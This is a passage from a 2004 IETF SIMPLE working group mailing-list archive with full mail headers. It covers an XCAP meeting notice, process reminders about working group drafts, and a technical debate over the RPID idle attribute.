X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

As discussed in yesterday's session, SIMPLE will hold 
a second meeting to explore XCAP in more depth.

This session will be Thursday at 1300 in the Onyx room,
which is in the terminal room complex. This room will seat
roughly 50 people.

Agenda : 

1300-1500 Walkthrough of XCAP


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar  2 01:53:01 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07043
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 01:53:01 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3lZ-0002QI-3T
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 01:52:33 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i226qX0O009308
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 01:52:33 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3lZ-0002Q3-0D
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 01:52:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07021
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 01:52:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3lV-0000bw-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:52:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3kV-0000VO-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:51:27 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3k8-0000O8-00; Tue, 02 Mar 2004 01:51:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3k5-0001oC-Ms; Tue, 02 Mar 2004 01:51:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3jL-0001bP-LD
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:50:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06845
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:50:13 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3jI-0000Kz-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:50:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3iI-0000DZ-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:49:11 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3hL-00005y-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:48:11 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226mB006509
	for <simple@ietf.org>; Tue, 2 Mar 2004 08:48:11 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 08:48:02 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i226m2ZP014574
	for <simple@ietf.org>; Tue, 2 Mar 2004 08:48:02 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00wiqRHV; Tue, 02 Mar 2004 08:48:02 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226lu717158
	for <simple@ietf.org>; Tue, 2 Mar 2004 08:47:56 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 08:47:56 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797810@esebe019.ntc.nokia.com>
Thread-Topic: Please poll the mailing list before making changes to a WG item
Thread-Index: AcQAIkmOhIRcKV0qSZqdAMtK8IsBbg==
To: <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 06:47:56.0271 (UTC) FILETIME=[4B234FF0:01C40022]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] Please poll the mailing list before making changes to a WG item
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 08:47:55 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

It became apparent to me that editors of WG items have been making =
changes to WG adopted internet drafts without polling the community on =
the mailing list first. This might be acceptable, but it is causing =
confusion and is creating more open issues with a newly submitted draft. =
It would be great if proposed changes to a current draft can be =
discussed on the mailing list before any text is committed to it. This =
reduces the air time a newly submitted draft needs and enables a draft =
to progress faster and for new issues to be tackled earlier. Please =
adopt this practice.

Much appreciated,
Hisham

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 01:55:25 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07164
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 01:55:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3oK-0000xR-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:55:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3nH-0000q6-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:54:20 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3mz-0000k0-00; Tue, 02 Mar 2004 01:54:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3mz-0002S1-HM; Tue, 02 Mar 2004 01:54:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3mO-0002RJ-V0
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:53:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07082
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:53:22 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3mL-0000iM-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:53:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3lR-0000bN-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:52:26 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3kQ-0000UK-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:51:23 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226pN010158
	for <simple@ietf.org>; Tue, 2 Mar 2004 08:51:23 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 08:51:16 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i226pGwC021901
	for <simple@ietf.org>; Tue, 2 Mar 2004 08:51:16 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00x8q4BK; Tue, 02 Mar 2004 08:51:15 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226pF719395
	for <simple@ietf.org>; Tue, 2 Mar 2004 08:51:15 +0200 (EET)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 08:51:13 +0200
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 08:51:13 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797811@esebe019.ntc.nokia.com>
Thread-Topic: Reminder: 1 week left for Partial Notification WGLC
Thread-Index: AcQAIr+0yxDgFIK9QRCDsiM7E26h4w==
To: <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 06:51:13.0769 (UTC) FILETIME=[C0DB1D90:01C40022]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] Reminder: 1 week left for Partial Notification WGLC
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 08:51:12 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Please send any comments you have. If you have read the drafts and found =
no issues what so ever, please send a note saying so. If you found nits, =
spelling mistakes, etc, please send a note saying so. This will show =
that we have consensus that the drafts are ready to be sent to IESG.

Thanks,
Hisham

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 01:55:56 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07199
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 01:55:56 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3oO-0002mW-9K
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 01:55:28 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i226tS36010686
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 01:55:28 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3oO-0002mH-60
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 01:55:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07179
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 01:55:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3oK-0000xW-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:55:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3nI-0000qD-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:54:21 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3mz-0000k0-00; Tue, 02 Mar 2004 01:54:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3mz-0002S1-HM; Tue, 02 Mar 2004 01:54:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3mO-0002RJ-V0
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:53:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07082
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:53:22 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3mL-0000iM-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:53:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3lR-0000bN-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:52:26 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3kQ-0000UK-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:51:23 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226pN010158
	for <simple@ietf.org>; Tue, 2 Mar 2004 08:51:23 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 08:51:16 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i226pGwC021901
	for <simple@ietf.org>; Tue, 2 Mar 2004 08:51:16 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00x8q4BK; Tue, 02 Mar 2004 08:51:15 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226pF719395
	for <simple@ietf.org>; Tue, 2 Mar 2004 08:51:15 +0200 (EET)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 08:51:13 +0200
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 08:51:13 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797811@esebe019.ntc.nokia.com>
Thread-Topic: Reminder: 1 week left for Partial Notification WGLC
Thread-Index: AcQAIr+0yxDgFIK9QRCDsiM7E26h4w==
To: <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 06:51:13.0769 (UTC) FILETIME=[C0DB1D90:01C40022]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] Reminder: 1 week left for Partial Notification WGLC
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 08:51:12 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Please send any comments you have. If you have read the drafts and found =
no issues what so ever, please send a note saying so. If you found nits, =
spelling mistakes, etc, please send a note saying so. This will show =
that we have consensus that the drafts are ready to be sent to IESG.

Thanks,
Hisham

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 02:08:29 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA17394
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 02:08:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay40y-0002jd-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 02:08:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay404-0002cM-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 02:07:33 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3zZ-0002Ud-00; Tue, 02 Mar 2004 02:07:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3zZ-0006cu-HQ; Tue, 02 Mar 2004 02:07:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3yp-0006FO-HR
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 02:06:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA14589
	for <simple@ietf.org>; Tue, 2 Mar 2004 02:06:12 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3yl-0002R9-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:06:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3xp-0002Jo-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:05:14 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3wy-0002D5-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:04:21 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2274CT00754;
	Tue, 2 Mar 2004 09:04:12 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 09:04:06 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i22746vm001663;
	Tue, 2 Mar 2004 09:04:06 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00Rkfa1N; Tue, 02 Mar 2004 09:04:04 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2273w728384;
	Tue, 2 Mar 2004 09:03:58 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 09:03:52 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] comments on draft-ietf-simple-rpid (long)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797812@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] comments on draft-ietf-simple-rpid (long)
Thread-Index: AcP/qQCAOwTaQPQtQP6hGuO54GnD+QAewlKg
To: <jdrosen@dynamicsoft.com>, <hgs@cs.columbia.edu>
Cc: <pkyzivat@cisco.com>, <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 07:03:52.0236 (UTC) FILETIME=[84EFFEC0:01C40024]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 09:03:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable



> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Jonathan Rosenberg
> Sent: 01.March.2004 17:05
> To: Henning Schulzrinne
> Cc: Paul Kyzivat; Simple WG
> Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
>=20

> >=20
> >=20
> > I can't see how a PC or phone could compute these=20
> probabilities. This=20
> > would require knowing that 10 minutes of absence (the only=20
> observable=20
> > value), for a particular user, implies that there's a 20%=20
> chance that=20
> > the user has stepped out. Unless your PC or phone has a=20
> user proximity=20
> > detector, this seems hard to do.
> >=20
> > We do have the contact-type to allow the receiver to guess=20
> what this may=20
> > mean. I think we discussed this before: in almost all=20
> cases, the value=20
> > of a long idle time is not all that high (unless you know that the=20
> > presentity is either a telemarketer who doesn't exist=20
> without a phone or=20
> > a compulsive PC user that doesn't take his hands off the=20
> keyboard while=20
> > in the office), but a short idle time is a good indication=20
> that somebody=20
> > is likely home, be it a phone or PC.
> >=20
> > Thus, my suggestion is to leave this as is and not try to=20
> over-interpret=20
> > the value.
>=20
> I'd really rather not; I think its a mistake to produce an idle=20
> attribute that differs substantially from established=20
> semantics. This is=20
> one of the few pidf extensions that we know is widely used in=20
> existing=20
> systems, and is a clear requirement for us to provide.
>=20
> I would instead propose that we define an attribute like=20
> <device-idle>=20
> which makes it clear that this refers to the idle time on the=20
> DEVICE on=20
> which that particular tuple is associated. A natural=20
> consequence of this=20
> is that it wouldnt make sense for tuples that span devices or are=20
> otherwise not associated with a device. I'd also suggest adding text=20
> that makes it clear that, in the one case of an IM app on a PC, that=20
> this has the commonly understood semantics of idle.

What else is idle? Surely <idle> is not saying that the human is idle, =
but the device that the human is using has not been used for a while. =
<device-idle> gains nothing.

For mobile phones, users can ignore the idle indication.

/Hisham

>=20
> We may or may not also want idle as you have defined it; I am more=20
> agnostic on that point, but would suggest renamining it if it is=20
> included, to avoid confusion.
>=20
> Thanks,
> Jonathan R.
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 02:09:03 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA18118
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 02:09:03 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay415-0007QR-Kv
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 02:08:35 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2278Y30028517
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 02:08:34 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay414-0007Pf-2w
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 02:08:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA17444
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 02:08:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay410-0002jr-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 02:08:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay405-0002cV-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 02:07:34 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3zZ-0002Ud-00; Tue, 02 Mar 2004 02:07:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3zZ-0006cu-HQ; Tue, 02 Mar 2004 02:07:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3yp-0006FO-HR
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 02:06:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA14589
	for <simple@ietf.org>; Tue, 2 Mar 2004 02:06:12 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3yl-0002R9-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:06:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3xp-0002Jo-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:05:14 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3wy-0002D5-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:04:21 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2274CT00754;
	Tue, 2 Mar 2004 09:04:12 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 09:04:06 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i22746vm001663;
	Tue, 2 Mar 2004 09:04:06 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00Rkfa1N; Tue, 02 Mar 2004 09:04:04 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
